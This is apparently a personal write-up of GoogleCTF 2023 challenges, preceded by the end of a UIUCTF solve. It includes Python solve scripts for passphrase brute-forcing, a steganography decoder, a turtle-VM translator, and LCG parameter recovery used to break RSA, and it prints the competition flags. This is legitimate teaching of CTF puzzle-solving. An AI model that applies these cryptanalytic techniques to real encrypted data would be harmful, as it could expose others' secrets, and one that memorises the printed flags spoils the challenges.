        ed = 106 + cycle * 2 + remain * 2 - 2
        bitcount += (st + ed) * (remain) // 2
    return bitcount, bitcount//8

## Verify the block size get is correct
# for i in range(32760, 32780):
#     print(i, sum_block_size(i), get_range(sum_block_size(i)[1], sum_block_size(i)[1]+10))

## Binary Search for flag using alignment
# VER 1
# block = 362917535825829
# VER 2
# block = 1142943246527020
st = 0
ed = 9223372036854775807
while st<ed:
    mid = (st+ed)//2
    st_idx = sum_block_size(mid)[1]
    if st_idx > 9223372036854775807:
        ed = mid-1
        continue
    res = get_range(st_idx, st_idx+10)
    print(mid, res.hex())
    if len(set(res)) == 1:
        ed = mid
    else:
        st = mid+1

# decode flag
print(st, ed)
flag_loc = st-1
flag_block = get_range(sum_block_size(flag_loc)[1], sum_block_size(ed+1)[1])
print(len(flag_block))
offset = (sum_block_size(flag_loc)[0]%8)
print(offset)
flag = deflate.BitReader(flag_block)
flag.read_bits(offset)
flag_inflated = deflate.inflate(flag, 1)
print(flag_inflated)

# VER 1
#uiuctf{binary search means searching a binary stream, right :D}
# VER 2
#uiuctf{i sincerely hope that was not too contrived, deflate streams are cool}

GoogleCTF 2023 Writeup

2023-06-26T00:00:00+00:00

Overview

Last weekend, I played GoogleCTF with b01lers. We ranked 55th in the end. I solved 2 misc, 1 rev, 1 crypto, and 3 pwn. This writeup will mostly focus on my own thought process while solving the challenges, and I’d recommand reading the official writeups as well.

Challenge solved after the competition are marked as [*]

Misc

npc

A friend handed me this map and told me that it will lead me to the flag. 
It is confusing me and I don't know how to read it, can you help me out?

solves: 102

# Copyright 2023 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""This file encrypts a given file using a generated, easy to remember password.

Additionally, it generates a hint in case you forgot the password.
"""

import dataclasses
import re
import secrets
import sys

from pyrage import passphrase


def get_word_list():
  with open('USACONST.TXT', encoding='ISO8859') as f:
    text = f.read()
  return list(set(re.sub('[^a-z]', ' ', text.lower()).split()))


def generate_password(num_words):
  word_list = get_word_list()
  return ''.join(secrets.choice(word_list) for _ in range(num_words))


@dataclasses.dataclass
class Node:
  letter: str
  id: int


@dataclasses.dataclass
class Edge:
  a: Node
  b: Node


@dataclasses.dataclass
class Graph:
  nodes: list[Node]
  edges: list[Edge]


class IdGen:
  def __init__(self):
    self.ids = set()

  def generate_id(self):
    while True:
      new_id = secrets.randbelow(1024**3)
      if new_id not in self.ids:
        self.ids.add(new_id)
        return new_id


def generate_hint(password):
  random = secrets.SystemRandom()
  id_gen = IdGen()
  graph = Graph([],[])
  for letter in password:
    graph.nodes.append(Node(letter, id_gen.generate_id()))
  for a, b in zip(graph.nodes, graph.nodes[1:]):
    graph.edges.append(Edge(a, b))
  for _ in range(int(len(password)**1.3)):
    a, b = random.sample(graph.nodes, 2)
    graph.edges.append(Edge(a, b))
  random.shuffle(graph.nodes)
  random.shuffle(graph.edges)
  for edge in graph.edges:
    if random.random() % 2:
      edge.a, edge.b = edge.b, edge.a
  return graph

def write_hint(graph, out_file):
  out_file.write('graph {\n')
  for node in graph.nodes:
    out_file.write(f'    {node.id} [label={node.letter}];\n')
  for edge in graph.edges:
    out_file.write(f'    {edge.a.id} -- {edge.b.id};\n')
  out_file.write('}\n')


def encrypt(num_words, secret):
  password = generate_password(num_words)
  hint = generate_hint(password)
  with open('hint.dot', 'w') as hint_file:
    write_hint(hint, hint_file)
  filename = 'secret.age'
  with open(filename, 'wb') as f:
    f.write(passphrase.encrypt(secret, password))
  print(f'Your secret is now inside password-protected file {filename}.')
  print(f'Use the password {password} to access it.')
  print(
      'In case you forgot the password, maybe hint.dot will help your memory.')


if __name__ == '__main__':
  encrypt(num_words=int(sys.argv[1]), secret=sys.argv[2].encode('utf-8'))

In this challenge, the flag file is encrypted using a passphrase that generated from a wordlist. A hint.dot file is also provided. THe most import part is to identiy how the hint is generate. In the encrypt.py file we can see that each letter is assigned a node, and each consecutive letters are link with a directly edge. Afterward, random edges are added, the node orders are shuffled, and the edge order are randomly flipped. Since there are a lot of randomness in the hint, all we can extract from the hint are what letters are in the passphrase, and what letters can be connected. I parse the hint file and get the list of letters presented. I then treat all edges as bi-directional, and filter the words based on the following criteria.

The letters in the word can be found in the passphrase
There are edges between any two consecutive letter pairs

This filters the word list down to 86 words, I then randomly generates passphrase from that wordlist that have the same word sets as the passphrase. I then permutes that word sets and test all permutations until the correct passphrase is found. See solve.py for more detail.

I think that the word set phase can potentially be change to a more efficient approach, as that problem is similar to a subset sum, not sure if there are any potential in a more efficient algorithm.

CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}

import re
import random
import secrets
from tqdm import tqdm
import string
from sage.all import *
from pyrage import passphrase
from itertools import permutations

def get_word_list():
    with open('USACONST.TXT', encoding='ISO8859') as f:
        text = f.read()
    return list(set(re.sub('[^a-z]', ' ', text.lower()).split()))

word_list = get_word_list()

def get_valid_nodes():
    with open("hint.dot") as f:
        header = f.readline()
        tmp = f.readline()
        nodes = {}
        inv_nodes = {}
        edges = []
        while "label" in tmp:
            node_id, letter = tmp.split('[label=')
            letter = letter[0]
            node_id = int(node_id)
            nodes[node_id] = letter
            if letter in inv_nodes:
                inv_nodes[letter].append(node_id)
            else:
                inv_nodes[letter] = [node_id]

            tmp = f.readline()

        while "--" in tmp:
            fid, tid = tmp.split('--')
            fid = int(fid)
            tid = int(tid[:-2]) # ;\n
            edges.append((fid, tid))
            edges.append((tid, fid)) # since it's randomly flipped, treat as non directional

            tmp = f.readline()

        return nodes, inv_nodes, edges

nodes, inv_nodes, edges = get_valid_nodes()

def path_exist(inv_map, edge, f, t):
    for fr in inv_map[f]:
        for dst in inv_map[t]:
            if (fr, dst) in edge:
                return True
#    print(f, t)
    return False

#print(n, e)



appeared_letter = list(nodes.values())
valid_words = []
for w in word_list:
    if not all(i in appeared_letter for i in w):
        continue

    for l in w:
        if w.count(l) > appeared_letter.count(l):
            break
    else:
        for s, e in zip(w, w[1:]):
            if not path_exist(inv_nodes, edges, s, e):
                break
        else:
            valid_words.append(w)


print(valid_words)
print(len(appeared_letter))
print(len(valid_words))

verify = "".join(sorted(appeared_letter)).strip()
print(verify)
print(type(verify))
password_len = len(verify)

def generate_password(num_words):
  word_list = valid_words
  return ''.join(secrets.choice(word_list) for _ in range(num_words))

def word2vec(word):
    return [word.count(l) for l in string.ascii_lowercase]


#verify = "aacddeeeeegiiinnnoorrrsssstt"

secret = open("secret.age", "rb").read()

for words in Subsets(valid_words):
    password = "".join(words)
    if len(password) != password_len:
        continue
    s_password = "".join(sorted(password))
#    print(s_password)
#    print(type(s_password), type(verify))
    if s_password in verify:
        print(password)
        print(words)

        for ws in permutations(words):
            password = "".join(ws)
            print(password)

            for s, e in zip(password, password[1:]):
                if not path_exist(inv_nodes, edges, s, e):
                    break
            else:
                try:
                    print(passphrase.decrypt(secret, password))
                    print("FOUND!!!!")
                    exit(1)
                except Exception as e:
                    pass
#standardwatersigngivenchosen
#b'CTF{S3vEn_bR1dg35_0f_K0eN1g5BeRg}'

symatrix

The CIA has been tracking a group of hackers who communicate using PNG files embedded with a custom steganography algorithm. 
An insider spy was able to obtain the encoder, but it is not the original code. 
You have been tasked with reversing the encoder file and creating a decoder as soon as possible in order to read the most recent PNG file they have sent.

solves: 110

encoder.c (From googleCTF github)

The challenge comes with a large encoder.c file, this seems intimidating initially. However, reading through the code a little bit, we quickly found out that there are part of the original python file written in the comment. Using a simple parser I extracted the python source from encoder.c file. (My parser actually missed a else: line, and I manuelly added that afterward)

f = open("encoder.c")

source = ["" for i in range(70)]
for line in f:
    if "encoder.py" in line:
#        print(line)
        try:
            line_number = int(line.split(':')[-1].split(" ")[0])
        except Exception:
            continue
#        print(line_number)
        for af in range(5):
            temp = f.readline()
            if "<<<<<" in temp:
                source[line_number] = temp[3:-1].split("#")[0]

with open("encoder.py", "w") as f:
    f.write("\n".join(source))

from PIL import Image
from random import randint
import binascii

def hexstr_to_binstr(hexstr):
    n = int(hexstr, 16)
    bstr = ''
    while n > 0:
        bstr = str(n % 2) + bstr
        n = n >> 1
    if len(bstr) % 8 != 0:
        bstr = '0' + bstr
    return bstr


def pixel_bit(b):
    return tuple((0, 1, b))


def embed(t1, t2):
    return tuple((t1[0] + t2[0], t1[1] + t2[1], t1[2] + t2[2]))


def full_pixel(pixel):
    return pixel[1] == 255 or pixel[2] == 255

print("Embedding file...")

bin_data = open("./flag.txt", 'rb').read()
data_to_hide = binascii.hexlify(bin_data).decode('utf-8')

base_image = Image.open("./original.png")

x_len, y_len = base_image.size
nx_len = x_len * 2

new_image = Image.new("RGB", (nx_len, y_len))

base_matrix = base_image.load()
new_matrix = new_image.load()

binary_string = hexstr_to_binstr(data_to_hide)
remaining_bits = len(binary_string)

nx_len = nx_len - 1
next_position = 0

for i in range(0, y_len):
    for j in range(0, x_len):

        pixel = new_matrix[j, i] = base_matrix[j, i]

        if remaining_bits > 0 and next_position <= 0 and not full_pixel(pixel):
            new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[0])),pixel)
            next_position = randint(1, 17)
            binary_string = binary_string[1:]
            remaining_bits -= 1
        else:
            new_matrix[nx_len - j, i] = pixel
            next_position -= 1


new_image.save("./symatrix.png")
new_image.close()
base_image.close()

print("Work done!")
exit(1)

Base on the encoder.py file, it’s clear that the original image is mirrored, and the flag bit and embedded to the right half of the image. The pixel that are modifyed are always increamented by either (0, 1, 0) or (0, 1, 1), with the formar encoding 0 and the latter encoding 1. To decode the flag, we simply go through all the bytes, and extract those that are different left side v.s. right side. We can ignore the random offset since only the pixels that have data encoded are changed.

CTF{W4ke_Up_Ne0+Th1s_I5_Th3_Fl4g!}

from PIL import Image
import binascii
from Crypto.Util.number import long_to_bytes

encoded_image = Image.open("./symatrix.png")
x_len, y_len = encoded_image.size

encoded_matrix = encoded_image.load()

center = x_len//2

flag_bits = ""
for i in range(0, y_len):
    for j in range(0, x_len//2):
        if encoded_matrix[j, i] == encoded_matrix[x_len-1-j, i]:
            continue
        else:
            flag_bits += str(encoded_matrix[x_len-1-j, i][2] - encoded_matrix[j, i][2])
#            print(flag_bits)

flag = long_to_bytes(int(flag_bits, 2))
print(flag)

Reverse

Turtle

Are we not all but turtles drifting in the sea, executing instructions as we stumble upon them?

solves: 27

turt.py (From googleCTF github)

This is a vm implemented using turtles! After watching the program run for a bit, we can observe what each turtle are responsible for. For example, the S turtle act like a stack, C is like code, and R is like some registers. Based on this knowledge, I write a translator (translate.py) from c.png “code” file to get a pseudocode (trans.txt) of the program. I notice that each 5 pixel movement for the turtle seems to be for 1 unit, so I translate a lot of the moving instructions into pointer arithmatic, as they are easier to work with.

With the translated pseudocode, we notice that the program first check for the flag format, then make sure all characters are unique, make sure the characters are in a specific order, and lastly run some function on each character.

It took a while to understand that the function is actually a binary search on the character value, and match each step with some value in memory. For example, if the target value is smallar than the current middle element, we first match if the memory value is 1, then call the same search function recursively. To recover the flag, I extract the reference value, take all the found characters, and order it using the reording in the memory. See simplify.txt for notes taken during the process, and solve.py for more detail.

CTF{iT5_E-tUr+1es/AlL.7h3;waY:d0Wn}

from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *
from PIL import Image


# M: Memory
# S: Stack
# R: Register
def loadM(flag):
    global M
    M = [(ord(i), 0, 0) for i in flag] + [(0, 0, 0) for i in range(200)]

def readM(a):
    return f"M[{a}]"

def writeM(a, c):
    print(f"M[{a}] = {c}")


sp = 0
def loadS():
    global S
    S = [(255, 128, 128) for i in range(240)]
    sp = 120

def readS(a):
    return f"S[sp+{a}]"

def writeS(a, c):
    print(f"S[sp+{a}] = {c}")

def loadR():
    global R
    R = [(0, 0, 0) for i in range(9)]

def readR(a):
    return f"R[{a}]"

def writeR(a, c):
    print(f"R[{a}] = {c}")

def readRVal(rNum):
  return readC(readR(rNum))

def getRNum(colorOrInt):
  if type(colorOrInt) == tuple:
    colorOrInt = colorOrInt[0]
  return (colorOrInt-20) // 40

def read(op, isR, isP, isC):
  if isP:
    return readPVal(op, isR, isC)
  elif isR:
    return readRVal(getRNum(op))
  elif isC:
    return readC(op)
  raise BaseException("invalid insn")

def write(op, val, isR, isP, isC):
  if isP:
    writePVal(op, val, isR, isC)
  elif isR:
    writeRVal(getRNum(op), val)
  else:
    raise BaseException("invalid insn")

def writeRVal(rNum, val):
  writeR(rNum, cToColor(val))

def writePVal(op, val, isS, isC):
  a = readPA(op, isC)
  if isS:
    writeS(a, cToColor(val))
  else:
    writeM(a, cToColor(val))

def readPVal(op, isS, isC):
    a = readPA(op, isC)
    if isS:
        return readC(readS(a))
    else:
        return readC(readM(a))

def readPA(op, isC):
  if isC:
    return readC(op)
  a = ""
  if op[0] != 0:
    a = readRVal(getRNum(op[0])) + " + "
  if op[1] != 0:
    a += readRVal(getRNum(op[1])) + " + "
  a += readOneByteC(op[2])
  return a

def readC(op):
  if type(op) == str:
      return op
  c = op[0] + (op[1]<<8) + (op[2]<<16)
  if c >= (256**3)//2:
    c = -((256**3)-c)
  return str(c)

def readOneByteC(val):
  if val > 256//2:
    return str(-(256-val))
  return str(val)

def cToColor(val):
  return f"{val}"
  if val < 0:
    val = 256**3 + val
  return [val%256, (val>>8)%256, (val>>16)%256]

im = Image.open("c.png").convert("RGB")
w, h = im.size
#print(w, h)
px = im.load()
C = [[px[i, j] for i in range(3)] for j in range(h)]
C+= [[px[i, j] for i in range(3, 6)] for j in range(h)]
C+= [[px[i, j] for i in range(6, 9)] for j in range(h)]
#print(C)

im = Image.open("m.png").convert("RGB")
w, h = im.size
#print(w, h)
px = im.load()
M = [px[j, i] for i in range(h) for j in range(w)]
print([i[0] for i in M[65:95]])
print([i[0] for i in M[95:]])


#print(C)

ip = 0
def run():
    global sp
    for ip in range(h*3):
        print(f"<{ip:04d}>: ", end="")
        color0 = C[ip][0]
        cmpcolor = (color0[0]&0xfc, color0[1]&0xfc, color0[2]&0xfc)
        color1 = C[ip][1]
        color2 = C[ip][2]

        isR1 = color0[0]&1 != 0
        isP1 = color0[1]&1 != 0
        isC1 = color0[2]&1 != 0
        isR2 = color0[0]&2 != 0
        isP2 = color0[1]&2 != 0

ip = 0
def run():
    global sp
    for ip in range(h*3):
        print(f"<{ip:04d}>: ", end="")
        color0 = C[ip][0]
        cmpcolor = (color0[0]&0xfc, color0[1]&0xfc, color0[2]&0xfc)
        color1 = C[ip][1]
        color2 = C[ip][2]

        isR1 = color0[0]&1 != 0
        isP1 = color0[1]&1 != 0
        isC1 = color0[2]&1 != 0
        isR2 = color0[0]&2 != 0
        isP2 = color0[1]&2 != 0
        isC2 = color0[2]&2 != 0

        if cmpcolor == (0,252,0):
            print("print('correct flag!')")
        elif cmpcolor == (252,0,0):
            print("print('wrong flag :C')")
        elif cmpcolor == (204, 204, 252):
            print(f"sp += {readC(color1)}")
        elif cmpcolor == (220, 252, 0) or cmpcolor == (252, 188, 0) or cmpcolor == (64, 224, 208) or cmpcolor == (156, 224, 188) or cmpcolor == (100, 148, 236) or cmpcolor == (252, 124, 80):
            if cmpcolor == (252, 188, 0):
                val2 = readPA(color2, isC2)
            else:
                val2 = read(color2, isR2, isP2, isC2)

            if cmpcolor == (220, 252, 0) or cmpcolor == (252, 188, 0):
                write(color1, val2, isR1, isP1, isC1)
            elif cmpcolor == (64, 224, 208):
                val1 = read(color1, isR1, isP1, isC1)
                write(color1, val1+" + "+val2, isR1, isP1, isC1)
            elif cmpcolor == (156, 224, 188):
                val1 = read(color1, isR1, isP1, isC1)
                write(color1, val1+" - "+val2, isR1, isP1, isC1)
            elif cmpcolor == (100, 148, 236):
                val1 = read(color1, isR1, isP1, isC1)
                write(color1, val1+">>"+val2, isR1, isP1, isC1)
            elif cmpcolor == (252, 124, 80):
                val1 = read(color1, isR1, isP1, isC1)
                print(f"cmp {val1} {val2}")
#                writeRVal(6, 16581630 if (val1 == val2) else 0)
#                writeRVal(7, 16581630 if (val1 < val2) else 0)
#                writeRVal(8, 16581630 if (val1 > val2) else 0)
        elif cmpcolor == (220, 48, 96):
#            e = readRVal(6)
#            l = readRVal(7)
#            g = readRVal(8)
            op = "j"
            if color0[0]&2 != 0:
                op+= "l"
            if color0[1]&2 != 0:
                op+= "g"
            if color0[0]&1 != 0:
                op+= "e"
            if color0[1]&1 != 0:
                op+= "ne"

            if op == "jlgene":
                op = "jmp"

            dest = f"{op} {ip}+{readC(color1)}-1"
            offset = f"{ip} + {readC(color1)}-1"
            try:
                offset_num = eval(offset)
                print(f"{op} <{offset_num:04d}>")
            except:
                print(dest)

        elif cmpcolor == (252, 0, 252):
            jmp = ((color1[0])//3)*h - color1[1] - 1
            print(f"call <{ip+jmp:04d}>")
#            writeS(0, (color1[0], color1[1], 127))
        elif cmpcolor == (128, 0, 128):
            print("ret")
        else:
            print()

run()

<0000>: sp += -83
<0001>: R[2] = M[0]
<0002>: cmp R[2] 67
<0003>: jne <0015>
<0004>: R[2] = M[1]
<0005>: cmp R[2] 84
<0006>: jne <0015>
<0007>: R[2] = M[2]
<0008>: cmp R[2] 70
<0009>: jne <0015>
<0010>: R[2] = M[3]
<0011>: cmp R[2] 123
<0012>: jne <0015>
<0013>: R[2] = M[34]
<0014>: cmp R[2] 125
<0015>: je <0016>
<0016>: print('wrong flag :C')
<0017>: S[sp+1] = 0
<0018>: cmp S[sp+1] 79
<0019>: jg <0023>
<0020>: R[2] = S[sp+1]
<0021>: S[sp+R[2] + 3] = 0
<0022>: S[sp+1] = S[sp+1] + 1
<0023>: jmp <0017>
<0024>: S[sp+2] = 4
<0025>: R[2] = S[sp+2]
<0026>: cmp R[2] 28
<0027>: jg <0053>
<0028>: R[2] = S[sp+2]
<0029>: R[5] = 0
<0030>: R[2] = M[R[2] + R[5] + 0]
<0031>: cmp R[2] 42
<0032>: jle <0037>
<0033>: R[2] = S[sp+2]
<0034>: R[5] = 0
<0035>: R[2] = M[R[2] + R[5] + 0]
<0036>: cmp R[2] 122
<0037>: jle <0038>
<0038>: print('wrong flag :C')
<0039>: R[2] = S[sp+2]
<0040>: R[5] = 0
<0041>: R[2] = M[R[2] + R[5] + 0]
<0042>: R[2] = R[2] - 43
<0043>: R[2] = S[sp+R[2] + 3]
<0044>: cmp R[2] 65535
<0045>: jne <0046>
<0046>: print('wrong flag :C')
<0047>: R[2] = S[sp+2]
<0048>: R[5] = 0
<0049>: R[2] = M[R[2] + R[5] + 0]
<0050>: R[2] = R[2] - 43
<0051>: S[sp+R[2] + 3] = 65535
<0052>: S[sp+2] = S[sp+2] + 1
<0053>: jmp <0024>
<0054>: call <0082>
<0055>: M[519] = 0
<0056>: S[sp+0] = 43
<0057>: cmp S[sp+0] 122
<0058>: jg <0067>
<0059>: R[2] = S[sp+0]
<0060>: R[5] = 30
<0061>: R[0] = 35
<0062>: R[1] = R[2]
<0063>: call <0165>
<0064>: R[2] = S[sp+0]
<0065>: R[2] = R[2] + 1
<0066>: S[sp+0] = R[2]
<0067>: jmp <0056>
<0068>: print('correct flag!')
<0069>:
<0070>:
<0071>:
<0072>:
<0073>:
<0074>:
<0075>:
<0076>:
<0077>:
<0078>:
<0079>:
<0080>:
<0081>:
<0082>:
<0083>: R[2] = 4
<0084>: S[sp+-2] = R[2]
<0085>: S[sp+-3] = 0
<0086>: R[2] = S[sp+-3]
<0087>: cmp R[2] 29
<0088>: jg <0100>
<0089>: R[2] = S[sp+-3]
<0090>: R[5] = R[2]
<0091>: R[2] = S[sp+-2]
<0092>: R[5] = R[5] + R[2]
<0093>: R[2] = S[sp+-3]
<0094>: R[4] = 65
<0095>: R[2] = M[R[2] + R[4] + 0]
<0096>: R[5] = M[R[5] + 0]
<0097>: R[4] = 35
<0098>: M[R[2] + R[4] + 0] = R[5]
<0099>: S[sp+-3] = S[sp+-3] + 1
<0100>: jmp <0085>
<0101>: ret
<0102>:
<0103>:
<0104>:
<0105>:
<0106>:
<0107>:
<0108>:
<0109>:
<0110>:
<0111>:
<0112>:
<0113>:
<0114>:
<0115>:
<0116>:
<0117>:
<0118>:
<0119>:
<0120>:
<0121>:
<0122>:
<0123>:
<0124>:
<0125>:
<0126>:
<0127>:
<0128>:
<0129>:
<0130>:
<0131>:
<0132>:
<0133>:
<0134>:
<0135>:
<0136>:
<0137>:
<0138>:
<0139>:
<0140>:
<0141>:
<0142>:
<0143>:
<0144>:
<0145>:
<0146>:
<0147>:
<0148>:
<0149>:
<0150>:
<0151>:
<0152>:
<0153>:
<0154>:
<0155>:
<0156>:
<0157>:
<0158>:
<0159>:
<0160>:
<0161>:
<0162>:
<0163>:
<0164>:
<0165>:
<0166>: sp += -4
<0167>: R[4] = R[1]
<0168>: S[sp+0] = R[0]
<0169>: R[2] = R[5]
<0170>: R[5] = R[4]
<0171>: S[sp+2] = R[5]
<0172>: S[sp+1] = R[2]
<0173>: R[2] = M[519]
<0174>: cmp R[2] 424
<0175>: jne <0176>
<0176>: print('wrong flag :C')
<0177>: cmp S[sp+1] 0
<0178>: jne <0186>
<0179>: R[2] = M[519]
<0180>: R[5] = R[2] + 1
<0181>: M[519] = R[5]
<0182>: R[5] = 95
<0183>: R[2] = M[R[2] + R[5] + 0]
<0184>: cmp R[2] 4
<0185>: je <0246>
<0186>: print('wrong flag :C')
<0187>: R[2] = S[sp+1]
<0188>: R[2] = R[2] - 1
<0189>: R[2] = R[2]>>1
<0190>: S[sp+3] = R[2]
<0191>: R[5] = S[sp+3]
<0192>: R[2] = S[sp+0]
<0193>: R[2] = R[2] + R[5]
<0194>: R[2] = M[R[2] + 0]
<0195>: cmp S[sp+2] R[2]
<0196>: jge <0211>
<0197>: R[2] = M[519]
<0198>: R[5] = R[2] + 1
<0199>: M[519] = R[5]
<0200>: R[5] = 95
<0201>: R[2] = M[R[2] + R[5] + 0]
<0202>: cmp R[2] 1
<0203>: je <0204>
<0204>: print('wrong flag :C')
<0205>: R[5] = S[sp+3]
<0206>: R[2] = S[sp+2]
<0207>: R[4] = S[sp+0]
<0208>: R[0] = R[4]
<0209>: R[1] = R[2]
<0210>: call <0165>
<0211>: jmp <0246>
<0212>: R[5] = S[sp+3]
<0213>: R[2] = S[sp+0]
<0214>: R[2] = R[2] + R[5]
<0215>: R[2] = M[R[2] + 0]
<0216>: cmp S[sp+2] R[2]
<0217>: jle <0238>
<0218>: R[2] = M[519]
<0219>: R[5] = R[2] + 1
<0220>: M[519] = R[5]
<0221>: R[5] = 95
<0222>: R[2] = M[R[2] + R[5] + 0]
<0223>: cmp R[2] 2
<0224>: je <0225>
<0225>: print('wrong flag :C')
<0226>: R[2] = S[sp+1]
<0227>: R[2] = R[2] - S[sp+3]
<0228>: R[2] = R[2] - 1
<0229>: R[5] = R[2]
<0230>: R[2] = S[sp+3]
<0231>: R[4] = R[2] + 1
<0232>: R[2] = S[sp+0]
<0233>: R[4] = R[4] + R[2]
<0234>: R[2] = S[sp+2]
<0235>: R[0] = R[4]
<0236>: R[1] = R[2]
<0237>: call <0165>
<0238>: jmp <0246>
<0239>: R[2] = M[519]
<0240>: R[5] = R[2] + 1
<0241>: M[519] = R[5]
<0242>: R[5] = 95
<0243>: R[2] = M[R[2] + R[5] + 0]
<0244>: cmp R[2] 3
<0245>: je <0246>
<0246>: print('wrong flag :C')
<0247>: sp += 4
<0248>: ret

M[0] = 67
M[1] = 84
M[2] = 70
M[3] = 123
M[4] = 125
for i in range(80):
        S[sp+i+3] = 0

len = 80

for j in range(4, 29):
        #M[j] in {42, 122}
        #all letter in this set is unique

for j in range(29):
        res = [0 for i in range(30)]
        shuffle = [23, 14, 7, 18, 12, 1, 28, 15, 26, 0, 5, 21, 27, 3, 11, 24, 13, 2, 8, 22, 6, 10, 29, 19, 17, 9, 20, 4, 16, 25]
        res[shuffle[j]] = M[j+4]

t = 0
def check(a, b, c):
        if t==424:
                print('wrong flag :target')
        if len == 0:
                R[2] = M[t + 95]
                t = t + 1
                if R[2] == 4:
                        return
                else:
                        print('wrong flag :target')

        mid_len = (len-1)//2
        mid_point = st + mid_len
        if target < M[mid_point]:
                R[2] = M[t + 95]
                t = t + 1
                if R[2] == 1:
                        return
                else:
                        print('wrong flag :target')

                check(st, target, mid_len)

        elif target > M[mid_point]:
                R[2] = M[t + 95]
                t = t + 1
                if R[2] == 2:
                        return
                else:
                        print('wrong flag :target')

                check(st+mid_len+1, target, len - mid_len - 1)

        else:
                R[2] = M[t + 95]
                t = t + 1
                if R[2] == 3:
                        return
                else:
                        print('wrong flag :target')
        return


for i in range(43, 122):
        check(35, i, 30) #R0, R1, R5

from PIL import Image

im = Image.open("m.png").convert("RGB")
w, h = im.size
#print(w, h)
px = im.load()
M = [px[j, i] for i in range(h) for j in range(w)]
ordering = [i[0] for i in M[65:95]]
finding = [i[0] for i in M[95:95+424]]

chars = [i for i in range(43, 123)]
finding = [4-i for i in finding if i in [3, 4]]

flag = ""
for i in range(len(chars)):
    if finding[i] == 1:
        flag+=chr(chars[i])

flag = "".join([flag[i] for i in ordering])
print("CTF{"+flag+"}")

Crypto

Least Common Genominator?

Someone used this program to send me an encrypted message but I can't read it! It uses something called an LCG, do you know what it is? I dumped the first six consecutive values generated from it but what do I do with it?!

solves: 352

from secret import config
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, isPrime

class LCG:
    lcg_m = config.m
    lcg_c = config.c
    lcg_n = config.n

    def __init__(self, lcg_s):
        self.state = lcg_s

    def next(self):
        self.state = (self.state * self.lcg_m + self.lcg_c) % self.lcg_n
        return self.state

if __name__ == '__main__':

    assert 4096 % config.it == 0
    assert config.it == 8
    assert 4096 % config.bits == 0
    assert config.bits == 512

    # Find prime value of specified bits a specified amount of times
    seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
    lcg = LCG(seed)
    primes_arr = []

    dump = True
    items = 0
    dump_file = open("dump.txt", "w")

    primes_n = 1
    while True:
        for i in range(config.it):
            while True:
                prime_candidate = lcg.next()
                if dump:
                    dump_file.write(str(prime_candidate) + '\n')
                    items += 1
                    if items == 6:
                        dump = False
                        dump_file.close()
                if not isPrime(prime_candidate):
                    continue
                elif prime_candidate.bit_length() != config.bits:
                    continue
                else:
                    primes_n *= prime_candidate
                    primes_arr.append(prime_candidate)
                    break

        # Check bit length
        if primes_n.bit_length() > 4096:
            print("bit length", primes_n.bit_length())
            primes_arr.clear()
            primes_n = 1
            continue
        else:
            break

    # Create public key 'n'
    n = 1
    for j in primes_arr:
        n *= j
    print("[+] Public Key: ", n)
    print("[+] size: ", n.bit_length(), "bits")

    # Calculate totient 'Phi(n)'
    phi = 1
    for k in primes_arr:
        phi *= (k - 1)

    # Calculate private key 'd'
    d = pow(config.e, -1, phi)

    # Generate Flag
    assert config.flag.startswith(b"CTF{")
    assert config.flag.endswith(b"}")
    enc_flag = bytes_to_long(config.flag)
    assert enc_flag < n

    # Encrypt Flag
    _enc = pow(enc_flag, config.e, n)

    with open ("flag.txt", "wb") as flag_file:
        flag_file.write(_enc.to_bytes(n.bit_length(), "little"))

    # Export RSA Key
    rsa = RSA.construct((n, config.e))
    with open ("public.pem", "w") as pub_file:
        pub_file.write(rsa.exportKey().decode())

This challenge is first generates p and q using a lcg, then use the p and q generated to encrypted the flag using rsa. Notice that the seed for lcg is provided, and the first 6 output of the lcg is provided. Therefore, if we recover the parameters for lcg, we can re-generate the same p and q from the program, and decrypt rsa accordingly.

While recovering m and c is trivial, recovering n is harder. I found this script and modify it a bit since the modulus end up not being a prime. After recoving the parameters, the rest of the solve are straight forward.

CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}

from math import gcd
from sage.all import GF, Zmod
from sage.all import is_prime_power
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, isPrime, long_to_bytes

# https://github.com/jvdsn/crypto-attacks/blob/master/attacks/lcg/parameter_recovery.py
# with some modification
def attack(y, m=None, a=None, c=None):
    """
    Recovers the parameters from a linear congruential generator.
    If no modulus is provided, attempts to recover the modulus from the outputs (may require many outputs).
    If no multiplier is provided, attempts to recover the multiplier from the outputs (requires at least 3 outputs).
    If no increment is provided, attempts to recover the increment from the outputs (requires at least 2 outputs).
    :param y: the sequential output values obtained from the LCG
    :param m: the modulus of the LCG (can be None)
    :param a: the multiplier of the LCG (can be None)
    :param c: the increment of the LCG (can be None)
    :return: a tuple containing the modulus, multiplier, and the increment
    """
    if m is None:
        assert len(y) >= 4, "At least 4 outputs are required to recover the modulus"
        for i in range(len(y) - 3):
            d0 = y[i + 1] - y[i]
            d1 = y[i + 2] - y[i + 1]
            d2 = y[i + 3] - y[i + 2]
            g = d2 * d0 - d1 * d1
            m = g if m is None else gcd(g, m)

        #assert is_prime_power(m), "Modulus must be a prime power, try providing more outputs"

    gf = Zmod(m)
    if a is None:
        assert len(y) >= 3, "At least 3 outputs are required to recover the multiplier"
        x0 = gf(y[0])
        x1 = gf(y[1])
        x2 = gf(y[2])
        a = int((x2 - x1) / (x1 - x0))

    if c is None:
        assert len(y) >= 2, "At least 2 outputs are required to recover the multiplier"
        x0 = gf(y[0])
        x1 = gf(y[1])
        c = int(x1 - a * x0)

    return m, a, c

lcg = list(map(int, open("dump.txt", "r").read().split()))
seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635
lcg = [seed] + lcg

print(lcg)
m, a, c = attack(lcg)
print(m, a, c)

# verify output
for i in range(len(lcg) - 1):
